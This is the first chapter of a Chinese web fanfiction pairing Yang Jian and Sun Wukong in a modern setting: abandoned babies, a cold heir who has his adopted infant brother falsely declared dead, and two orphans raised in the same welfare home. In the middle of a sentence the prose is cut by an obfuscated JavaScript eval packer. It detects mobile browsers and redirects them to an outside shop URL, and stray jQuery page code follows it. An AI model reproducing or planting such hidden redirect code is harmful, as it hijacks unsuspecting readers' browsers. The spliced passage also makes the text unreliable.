【戬空】他们被风留下
CP：杨戬x孙悟空
类别：架空现代
雷文预订，一定会雷，入内请自带避雷针。
关键词：失足少女未婚生子、孙悟空无性设定、小妈文学、狗血三角、兄弟外甥伦理大戏
第一章、戬与空
一
张昊记得那天的雨。
不是暴雨，是那种细密绵长的秋雨，打在窗上像无数根针在刺。他站在张家别墅二楼的落地窗前，看着院子里那棵父亲亲手种的银杏树，叶子还没黄透，就被雨水打得七零八落。
身后传来管家的声音：“少爷，小姐回来了。”
他没有回头。
张瑶是被两个佣人架着进来的。她刚满十七岁，怀里抱着一个用毛巾被裹着的婴儿，浑身湿透，头发贴在脸上，嘴唇发紫。她看见站在楼梯口的张昊，先是往后退了一步，然后又咬着牙往前迈。
“哥。”
张昊转过身来。他今年十八岁，继承了父亲所有的威严——这是旁人说的。实际上他只是学会了在必要的时候收起所有表情，像一扇门沉沉地关上。
“爸和妈呢？”张瑶四处张望。
“去欧洲了。”张昊说，“下个月才回来。”
张瑶脸上闪过一丝庆幸，但很快又被恐惧覆盖。她把怀里的婴儿抱紧了一些，那孩子大概刚出生不久，小脸皱巴巴的，正在睡。
“哥，我……”她的声音在发抖，“我没办法了，那个男的跑了，我身上一分钱都没有，我不知道该找谁……”
“所以你想起你姓张了？”
张昊的声音不大，但每个字都像刀子。张瑶的眼泪一下子涌出来，她张了张嘴，说不出话。
“那个男的，”张昊问，“是谁？”
“他叫……叫陈旭，我们在网上认识的，他说他会娶我，他说——”
“他说什么你都信。”张昊打断她，“你十七岁，怀孕九个月，你连说都不说一声，你就把这个东西生下来？”
“他不是东西！”张瑶突然尖叫起来，把孩子抱得更紧，“他是我儿子！”
婴儿被惊醒了，哇地哭了出来。哭声在空旷的客厅里回荡，尖锐而刺耳。张瑶慌乱地哄着孩子，眼泪砸在毛巾被上，晕开一小片深色的水渍。
张昊看着她。这是他唯一的妹妹，从小娇生惯养，连书包都是佣人收拾的。她十五岁开始混网吧，十六岁跟人跑去外地，十七岁大着回来。父母气得住了院，她说她要去跟那个男人过日子，然后就消失了。
再出现的时候，怀里多了个孩子。
“你打算怎么办？”张昊问。
“我……我想先在家住几天，然后去找工作，等我攒够了钱……”
“不可能。”
张瑶愣住了。
“这个家，”张昊一字一顿地说，“不是你想来就来，想走就走的。你让张家成了全城的笑话，你知道吗？亲戚朋友，当面说‘孩子还小不懂事’，背地里怎么说的？张家的女儿，未成年就被搞大了肚子——”
“你够了！”张瑶嘶吼起来，脸上的泪和雨水混在一起，“你就知道面子！你知不知道我这几个月怎么过的？他打了我两次，我把所有钱都给了他，我生孩子的钱是借高利贷的，哥，高利贷，要不是没办法我怎么会回来找你——”
“那你就该想清楚再脱裤子。”
这句话说出口的瞬间，客厅安静了。
张瑶像是被人扇了一巴掌，整个人僵在那里。婴儿还在哭，但她的手臂慢慢垂下来，孩子差点滑落，她又猛地抱住。
她看着张昊的眼神变了。从哀求，到恐惧，最后变成一种冰冷的绝望。
“……好，”她点了点头，声音很轻，“好，我知道了。”
她转身往外走。步子很慢，一步一步的，像是腿上绑了石头。佣人想拦，看了看张昊的脸色，没敢动。张瑶走到门口，忽然停下来了。
她低头看着怀里的孩子。孩子哭得满脸通红，小手从襁褓里伸出来，在空中胡乱抓着。她弯下腰，嘴唇贴在孩子的额头上，贴了很久。
她没有回头。
“哥，”她的声音像是从很远的地方传过来的，“你以后也会有孩子。”
然后她走了。
雨幕像一匹灰色的布，把她整个人吞了进去。
张昊站在客厅中央，站了很久。管家老周从走廊那头慢慢走过来，在他身后一步远的地方停下。
“少爷，要不要派人跟着小姐？”
张昊没有回答。他的目光落在地板上——张瑶站过的地方有一小摊水渍，正在慢慢渗进木头的缝隙里。他看着那摊水，看着它一点一点变小，最后只剩一个模糊的印子。
“把地擦干净。”
他说完，转身上了楼。楼梯在他脚下发出沉闷的声响，一下，一下，像某种迟缓的心跳。
他没有回头。
二
张瑶不知道自己走了多久。
雨已经停了，但风没有。深秋的风从背后推着她，像一只不耐烦的手。她抱着孩子穿过大半个城市，走过一盏又一盏路灯，影子从后面追上来，又跑到前面去，再被下一盏路灯吞掉。
孩子在她怀里睡着了，呼吸又轻又匀，小嘴微微张着，偶尔动一动，像是在梦里还吃着奶。张瑶低头看他的脸，路灯的光一明一暗地晃过去，那张小脸一会儿亮，一会儿暗。
她想起自己怀着他的那些日子。没有产检，没有营养品，住在地下室里，吃最便宜的泡面。肚子一天天大起来，她摸着肚皮跟他说，宝宝你忍一忍，等爸爸回来就好了。
她想起生他的那天。没有无痛，没有家属签字，她一个人躺在产床上，疼了十四个小时。护士问她家属呢，她说在外地。护士又问那孩子的父亲呢，她说就是在外地。护士看了她一眼，那种眼神她见过很多次了，已经不觉得疼了。
她把孩子生下来了。护士把他抱过来，说是个男孩，很健康。她看着那张皱巴巴的小脸，觉得世界上所有的光都落在这张脸上了。
她给他起了一个名字。她不敢告诉任何人那个名字是什么，因为从今以后再也不会有人叫这个名字了。
天快亮了。
仁爱福利院在城南的一条老街上。院墙是灰色的，有些地方的墙皮已经脱落了，露出里面发黑的砖。门口挂着一块木牌，白底黑字，被雨水泡得起了毛边。铁门上了锁，里面有一棵老槐树，树冠很大，落了一地的叶子。
张瑶站在门口，腿发软，膝盖像是被人抽走了骨头。她靠在墙上，墙上的水渍洇湿了她的后背，冰凉的，但她已经不觉得了。
她低头看孩子。孩子不知道什么时候醒了，睁着一双黑亮的眼睛看着她，嘴巴一抿一抿的，像是在找奶。那目光太干净了，干净得像一面镜子，照出了她所有的狼狈和不堪。
“对不起。”她的声音哑得几乎听不见，“妈妈养不活你。”
她哭了。不是嚎啕大哭，是那种无声的，眼泪一颗接一颗地掉在孩子脸上，孩子眨了眨眼，没有哭，只是安静地看着她。
她把脖子上的玉坠取下来。那是她从小就戴着的东西，据说她曾祖母留下的，只传给家里的长女。她戴了十七年，洗澡都没摘过。
她把玉坠系在孩子襁褓的带子上，系了两道，又用力拽了拽，确认不会掉。然后她低下头，嘴唇贴在孩子的额头上，贴了很久。孩子的皮肤是温热的，有一种淡淡的奶香味。
她想说很多话。想说宝宝妈妈爱你，想说妈妈不是不要你，想说你以后要好好吃饭好好长大，想说对不起对不起对不起。
但她什么都没说出来。
因为她知道自己没有资格说这些。
她把孩子放在福利院门口的台阶上。台阶是水泥的，很凉。她怕孩子着凉，想找什么东西垫一下，但翻遍了口袋只有一张皱巴巴的纸巾。她把纸巾展开，垫在孩子的头下面，薄薄的一层，什么用都没有。
她跪下去。额头抵着冰凉的水泥地面，肩膀剧烈地颤抖。她咬着自己的手背，没有发出任何声音。血腥味在嘴里蔓延开来，她咬得太用力了，咬破了自己。
过了很久，她站起来。
她没有再看孩子一眼。她怕自己一看就走不了了。
她转身，走进了黎明前最深的黑暗里。那黑暗厚重得像一堵墙，把她的背影一点一点地吞没了。
垃圾桶旁边有一只野猫，歪着头看着她消失的方向，喵了一声，然后跳上了墙头。
孩子躺在台阶上。秋风吹过来，吹动那张垫在头下面的纸巾，发出细微的沙沙声。他的眼睛还睁着，看着头顶灰蒙蒙的天，天上有几颗星星正在慢慢隐去。
远处传来第一声鸡叫。
天快亮了。
三
杨院长每天早上五点半准时起床。
这是她三十年来雷打不动的习惯。先烧一壶水，然后去院子里喂那些野猫。她六十三岁了，头发花白，腰不好，走路的时候微微弯着。她信佛，吃长素，院里的孩子都说杨奶奶身上有一股香火味。
那天早上她推开铁门的时候，先是看见台阶上有一团浅蓝色的东西。
她愣了一下，以为是哪个孩子落在外面的衣服。走近了，才发现那是一个毛巾被裹着的襁褓，毛巾被已经湿透了，颜色深了一大片。
她的心猛地揪了一下。
她快步走过去，蹲下来。是个婴儿。很小，很轻，小脸冻得发紫，嘴唇青白。但还在呼吸，很轻很浅，像一只被雨淋湿的麻雀。
杨院长把孩子抱起来，贴在自己的胸口。隔着薄薄的秋衣，她感觉到了孩子的心跳。又小又快，像一面鼓被人慌乱地敲着。
“不怕了，”她低声说，声音微微发颤，“不怕了，奶奶在。”
她把孩子抱进屋里，放在床上。烧了热水，用毛巾一点一点地给孩子擦身子。孩子的身体冰凉凉的，毛巾碰到皮肤的时候，孩子哆嗦了一下，但没有哭。
“可怜的孩子。”她低声说。
她给孩子冲了奶粉，用嘴唇试了试温度，然后把奶嘴塞进孩子嘴里。孩子像饿坏了，两只小手攥成拳头，拼命地吮吸，发出咕咚咕咚的声音。喝了大半瓶，打了奶嗝，嘴角溢出一小口奶，杨院长用毛巾轻轻擦掉，孩子慢慢闭上了眼睛。
杨院长把孩子放在床上，盖好小被子。孩子睡得很沉，很安稳，好像从来没有被人抱过一样。
她这才想起襁褓上系着的那个玉坠。
她把玉坠解下来，放在手心里端详。玉质温润，成色极好，通体碧绿，只有中间飘着一丝白絮，像一缕烟。背面刻着一个图案，像是一个篆书的纹样，但究竟是什么字，她看不太清楚。杨院长不太懂这些贵重东西。
她把玉坠翻来覆去看了很久。
能把这么贵重的东西留在孩子身上，说明这家人不是真狠心。可既然不是真狠心，又为什么要扔呢？
她把玉坠收进抽屉最里面。那里还收着其他孩子留下的东西——一把小银锁，一只洗得发白的布老虎，一张写着出生日期的红纸条。
每一个物件背后，都有一段她永远不会知道的故事。
“给你起个名字吧。”她对睡着的孩子说。
她翻了翻桌上的日历。今天是个平常的日子，没有什么特别。她又想起自己信的那些佛经，《金刚经》里有一句话她很喜欢——“应无所住而生其心”。
她不是一个念过很多书的人，但她知道“戬”这个字。那是以前在庙里听一位老和尚说过的，“戬”是福的意思。她希望这个孩子的命能好一点，不要再受苦了。
“就叫杨戬吧。”她说。
她把这个名字工工整整地写在登记本上。杨，是她自己的姓。她是这孩子的家长了。
“戬是福。”她低头看着孩子，孩子睡得很香，嘴角微微翘着，像是在做美梦，“奶奶希望你是个有福的人。”
窗外，太阳正在一点一点地升起来。金色的光照进屋里，落在孩子的脸上。
他翻了个身，小手攥成拳头，像是在梦里抓住了什么东西。
四
三年后的国庆节，已经退居二线的张家老两口从三亚旅游散心回来。
那天天气很好，十月的天高得不像话，蓝得没有一丝云。张老先生坐在副驾驶上打着瞌睡，张老夫人坐在后座，手里翻着一本杂志。
司机老赵开得不快，国道两边的白杨树一棵一棵往后倒，影子从车身上滑过去，像一道道闸门。
路过一个施工工地的时候，看见路边有一个纸箱。起初以为是垃圾，车开过去了。但开出十几米，张老夫人忽然说：“倒回去。”
老赵不明所以，但还是掉了头。车停在那只纸箱旁边。
张老夫人自己下的车。她五十六了，腿脚还利索，就是腰不太好。她弯下腰，掀开纸箱的盖子——
里面有一个婴儿。
很小，比她在电视上见过的婴儿都要小。脐带上的纱布还没拆，用一根红绳系着，绳结已经松了。婴儿穿着一件旧得看不出颜色的连体衣，脚上套着一双小袜子，袜子已经蹭掉了一只，露出几个圆滚滚的脚趾头。
婴儿没有哭。一双眼睛又黑又亮，安静地看着她，像两颗泡在水里的黑玻璃珠。
张老夫人的手开始发抖。
不是害怕，是一种她说不上来的东西。像是被什么东西击中了胸口，又像是有什么东西在胸腔里裂开了。
她把婴儿抱起来。婴儿很轻，轻得不像一个活物。她解开连体衣的扣子，仔细看了看，脸色变了。
什么都没有。
不是男孩，也不是女孩。婴儿的下身光洁平滑，没有男□□官，也没有女□□官，只有一个小小的尿道口。
张老夫人把孩子贴在脸上，婴儿的脸颊凉凉的，但贴了一会儿就暖过来了。婴儿慢慢转过头，用嘴唇蹭了蹭她的脸颊，像是在找奶。
张老夫人的眼泪就这么掉下来了。
“老头儿，”她回头喊了一声，声音哑了，“你过来看看。”
张老先生下了车，凑过来一看，也沉默了。他活了六十岁，什么事没见过？但这种天生没有性别的孩子，他只在报纸上见过。
“这是被爹妈扔了的。”张老夫人说，声音很轻，像是在跟婴儿说话，“生了个畸形的，不要了。”
婴儿忽然笑了。嘴角弯起来，露出粉色的牙床。没有声音，就是一个无声的笑，像秋天里最淡最淡的那一缕风。
“老头儿，”张老夫人抱着孩子不撒手，“我们养吧。”
张老先生犹豫了。不是他心狠，是他知道自己什么岁数了。六十，老伴五十六，这把年纪再养一个婴儿，怎么想都不合适。万一他们走了，这孩子怎么办？
“送福利院吧。”他说。
“送什么福利院！”张老夫人的声音拔高了，但马上又压下去，怕吓着怀里的孩子，“这孩子到了福利院能过什么好日子？你看这眼睛，多好看。我们养，养到哪天算哪天。”
张老先生看着老伴的脸，想起三年前女儿离家出走的事，想起儿子这些年变得越来越冷硬。老三口，这家里冷冷清清的，连个笑声都没有。
“那就养吧。”他说，眼眶有点发红，“你说了算。”
他们把孩子带回了家。
张老先生翻了三天的字典，翻到“行”这个字。行的意思有很多，可以走路，可以做事，可以通达。他把字典合上，说：“就叫张行。”
张老夫人说好，小名就叫行行。
“行行，”她抱着孩子，用手指轻轻点他的鼻尖，“你叫行行，你是张家的人。”
孩子打了个喷嚏，逗得老两口都笑了。
那几天是张家这三年来最温暖的日子。
张老先生每天早起给孩子冲奶粉，手法生疏，奶粉不是多了就是少了。张老夫人笑他笨，他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605926|205720||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己也笑，笑着笑着眼眶就红了。他跟老伴说，自打女儿走了以后，这个家就像个棺材，现在终于有个活物的声音了。
办完收养手续那天，他们开车去民政局取孩子的户口页。
老赵在前面开车，张老先生坐在副驾驶上翻着那页纸，上面写着张行的名字、出生日期、收养关系。他看了好几遍，折好，放进衬衣口袋里。
张老夫人在后座抱着孩子，嘴里哼着一首老歌。她不会唱什么儿歌，就哼《茉莉花》，一遍一遍地哼。婴儿听着听着就闭上了眼睛，长长的睫毛忽闪忽闪的，像蝴蝶翅膀。
那天国道上车不多。老赵开得比平时慢一些，因为后座有孩子。
快到那个弯道的时候，对面驶来一辆运沙石的货车。那辆货车的速度很快，快到老赵觉得不对劲——它正在越过实线。
老赵按了喇叭。对面的货车没有反应。
他又按了一次。还是没反应。
货车的车头已经冲过来了。
张老夫人听见老赵喊了一声什么，没听清。她本能地转过身，把婴儿压在身下，用整个后背护住了他。
然后她听见了一声巨响。
那是她这辈子听到的最后一个声音。
五
张昊在殡仪馆的走廊上站了很久。
走廊里的灯管有一盏坏了，一直在闪，一闪一闪的，把他的影子一会儿拉长一会儿缩短。墙是白色的，惨白的那种白，上面贴着一张褪色的消防示意图，玻璃框裂了一道缝。
管家老周站在他身后，怀里抱着一个婴儿。老周今年五十四了，在张家干了二十八年，从张昊的爷爷那辈就在了。他见过张家最风光的时候，也见过张家最惨的时候。今天这两样加起来，都不如这一刻来得让人心碎。
“少爷，”老周的声音压得很低，怕惊着走廊里的回音，“这就是老先生和老太太收养的那个孩子，刚办完收养手续。车祸的时候，老夫人把孩子压在身下护着的。孩子连皮都没破，就是哭了一会儿，现在已经不哭了。”
张昊转过身来。
他看着那个婴儿。婴儿穿着一件浅蓝色的棉连体衣，脚底绣着一只小兔子，这是老夫人前几天在商场挑了半天的。婴儿的手攥成两个小拳头，举在耳边，像投降的姿势。他的脸很小，五官还没长开，但已经能看出轮廓了——眉骨很高，鼻梁很直，长的不难看。
婴儿也看着他。那目光安静得出奇，不哭不闹，就那么定定地、直直地看着他的脸，好像在辨认什么。
张昊的手在抖。他把它插进裤兜里，攥成拳头。
“送走。”他说。
“少爷，”老周犹豫了一下，“这个孩子现在在张家户口本上，法律上是您的——”
“我说送走。”
张昊的声音突然拔高了。走廊尽头的灯管猛地闪了一下，然后彻底灭了，只剩尽头那一盏还亮着，照出一小圈昏黄的光。
“送去孤儿院。”他说，“跟医院和民政局打声招呼，这个孩子在车祸里死了。死亡证明，注销户口，全套手续做干净。”
老周沉默了片刻。他知道少爷做得到。张家在这个城市经营了三代，关系网从卫生局到公安局到民政局，一把手的电话都存在老先生的手机里。老先生不在了，但那些人还在，面子还在。
“……是。”老周说。
他看着张昊的脸，那张脸上什么都没有。不是冷漠，不是愤怒，不是悲伤。就是什么都没有。像一个被人掏空了的房间，家具搬走了，窗帘摘了，连墙上的钉子都拔了。
老周抱着婴儿转身走了。婴儿的头靠在他的肩膀上，眼睛还睁着，越过老周的肩膀，看着走廊尽头那个站在原地不动的年轻男人。
张昊没有看他。
他站在那里，一动不动，像一尊石膏像。走廊里越来越暗了，仅剩的那盏灯也开始忽明忽暗，发出细微的嗡嗡声。风从走廊尽头的窗户灌进来，带着秋天特有的干冷。
他没有走进去看父母最后一眼。
六
民政局的工作人员把张行送到仁爱福利院的时候，已经是一周后的事了。
来的是一个姓刘的中年女人，戴着眼镜，手里拎着一个档案袋。她把孩子递给杨院长的时候，表情有些复杂。
“杨院长，这个孩子的情况比较特殊。”
这七天里，孩子被临时安置在民政局下属的托管点，由一位姓王的阿姨照看。王阿姨说这孩子乖得不像话，喂奶就喝，喝完就睡，几乎不哭闹，好像知道自己已经被这个世界推来推去了好几回。
杨院长接过孩子，低头看了一眼。
刘女士不用多说什么，她就已经懂了。她在福利院干了三十年，见过的孩子没有一千也有八百。她一看这个孩子的脸，就知道他被人抱过，被人亲过，被人小心翼翼地对待过。他的小衣服是新的，棉连体衣，料子很好，脚底绣着小兔子。他的指甲被人剪过了，剪得很短很圆，不像是婴儿用品店里剪的，像是老太太剪的，戴着老花镜，一点一点剪的。
杨院长解开连体衣的扣子看了看，沉默了几秒钟。
“他的父母呢？”杨院长问。
“养父母车祸死了。亲属拒收，打官司也打不赢，张家的律师太厉害了。”刘女士叹了口气，“这个孩子户口在张家，但张家说他‘死亡’了。说白了，他现在是个法律上不存在的人。”
杨院长沉默了一会儿。
“我们这边重新给他上个户口吧。姓什么？”
“随便吧，张家既然当他死了，就别再姓张了。就让他干干净净地重新开始吧。”
杨院长把孩子放在床上。孩子忽然笑了，不知道是梦见什么，嘴角弯起来，露出粉色的牙床。
她想起一个词。
“悟空，”她低声说，“悟是明白，空是什么都没有。”
她提笔在登记本上写下三个字：孙悟空。
和她过世的老伴一个姓，姓孙，名悟空。
三岁的杨戬蹲在走廊上，手里捏着一朵从院子里摘的野菊花。那朵花已经被他捏得蔫了，花瓣掉了两片，但他还是觉得好看。
他看见杨奶奶抱着一个婴儿从屋里出来，就站起来，跑过去，踮起脚尖想看清楚。
“奶奶，这是谁呀？”
“这是新来的小弟弟。”杨院长弯下腰，把婴儿放低了一些，让他看。
杨戬把脸凑过去，很近，近到鼻尖快要碰到婴儿的鼻尖。婴儿的脸很小很小，眉毛淡淡的，像画上去的。眼睛闭着，睫毛很长，微微翘起来，像两把小扇子。嘴巴是嫩红色的，微微张开，能看到一点粉色的舌头。
杨戬伸出脏兮兮的手，小心翼翼地碰了碰婴儿的鼻尖。他的指尖上有泥，有花汁，有小孩特有的那种温热。
婴儿鼻子痒了，皱着眉毛打了个喷嚏。
杨戬笑了，眼睛弯成两道月牙，整个人都在发光。
“奶奶，他叫什么名字呀？”
“叫悟空。”
“悟空？”杨戬歪着头想了想，“好奇怪的名字。”
杨院长也笑了。她伸手摸了摸杨戬的头，掌心里是他软绵绵的头发，有阳光的味道，“不奇怪。‘悟’是明白，‘空’是什么都没有。奶奶希望他这辈子，能活个明白。”
杨戬不太懂这些话是什么意思。他只知道，这个叫悟空的小弟弟，以后要和他睡一间屋子了。
她把悟空放进婴儿床里，和杨戬的床并排摆着。杨戬爬回自己的床上，趴在栏杆上往下看。悟空又睡着了，小手攥成拳头，举在耳朵两边，像一只小小的青蛙。
杨戬趴在栏杆上看了很久。
他在想，这个叫悟空的小弟弟，以后会长成什么样呢？
院子里那棵老槐树的叶子正在落。一片一片的，打着旋儿，慢悠悠地落在地上，铺了薄薄的一层金黄。
阳光很好。
秋天又要来了。
（第一章完）